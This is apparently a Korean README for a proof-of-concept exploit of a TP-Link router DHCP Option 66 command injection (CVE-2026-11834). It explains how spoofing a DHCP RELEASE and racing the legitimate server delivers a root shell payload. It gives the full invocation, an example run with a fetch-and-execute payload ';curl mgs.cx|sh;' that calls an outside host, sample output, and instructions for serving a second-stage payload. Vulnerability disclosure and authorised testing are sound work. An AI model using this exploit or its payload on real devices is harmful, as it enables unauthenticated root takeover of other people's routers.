
TP-Link DHCP Option 66 무인증 RCE(CVE-2026-11834)에 대한 개념 증명(PoC)
TP-Link DHCP Option 66 비인증 RCE (CVE-2026-11834)
TP-Link 라우터 펌웨어의 DHCP Option 66("TFTP Server Name") 처리에서 발생하는 명령 주입 취약점(CWE-78)으로 인해 동일 네트워크 세그먼트의 비인증 공격자가 루트 권한으로 임의의 명령을 실행할 수 있습니다. 장치가 WAN 인터페이스에서 DHCP 클라이언트로 작동할 때, 임대에서 반환된 Option 66 값은 libcmm.so 내의 tftp 셸 명령에 검증되지 않은 채 연결됩니다. 다섯 개의 함수가 이 명령을 구성하여 system()을 호출하는 util_execSystem()에 전달하므로, 조작된 Option 66 값은 셸 입력으로 해석되어 루트로 실행됩니다.
Option 66 값은 장치에서 16자로 잘리므로, 페이로드는 HTTP를 통해 더 큰 2단계 페이로드를 가져오는 최소한의 인출-실행(;curl <domain>|sh;)입니다.
공격자는 DHCP 서버를 제어할 필요가 없습니다. 이 PoC는 세그먼트의 합법적인 서버와 경쟁합니다. 대상으로 위장한 DHCP RELEASE를 스푸핑하여 바인딩을 지우고, 대상이 임대를 다시 획득할 때까지 기다린 뒤, 합법적인 서버가 응답하기 전에 페이로드를 담은 악성 OFFER/ACK로 대상의 브로드캐스트에 응답합니다.
이 개념 증명(PoC)은 TP-Link Archer C20 V6(펌웨어 0.9.1 Build 4.19, EU)에서 테스트되었습니다. 취약한 코드 경로는 다양한 TP-Link 라우터에 공통으로 존재합니다. 다른 모델이나 펌웨어 버전에서는 메모리 오프셋, 함수 주소 및 동작이 다를 수 있습니다.
이 PoC는 대상 장치에서 루트로 실행되는 Option 66 페이로드를 전달합니다. 소유한 하드웨어 또는 명시적으로 테스트 권한이 부여된 하드웨어에 대해서만 실행하십시오.
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
실행 예:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
페이로드 호스트는 장치가 가져와 실행하는 2단계 페이로드를 제공합니다. 예:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80
| 인자 | 설명 |
|---|
target_ip | 대상 장치의 현재 IP 주소 |
-i, --interface | 대상 세그먼트의 네트워크 인터페이스 |
-s, --server-ip | 합법적인 DHCP 서버 IP |
-S, --server-mac | 합법적인 DHCP 서버 MAC |
-p, --payload | Option 66 값 (<=16자), 예: `;curl |
-t, --target-mac | 대상 MAC (생략 시 ARP로 자동 확인) |
-a, --attacker-ip | 악성 임대에서 광고되는 서버 ID (기본값은 인터페이스 IP) |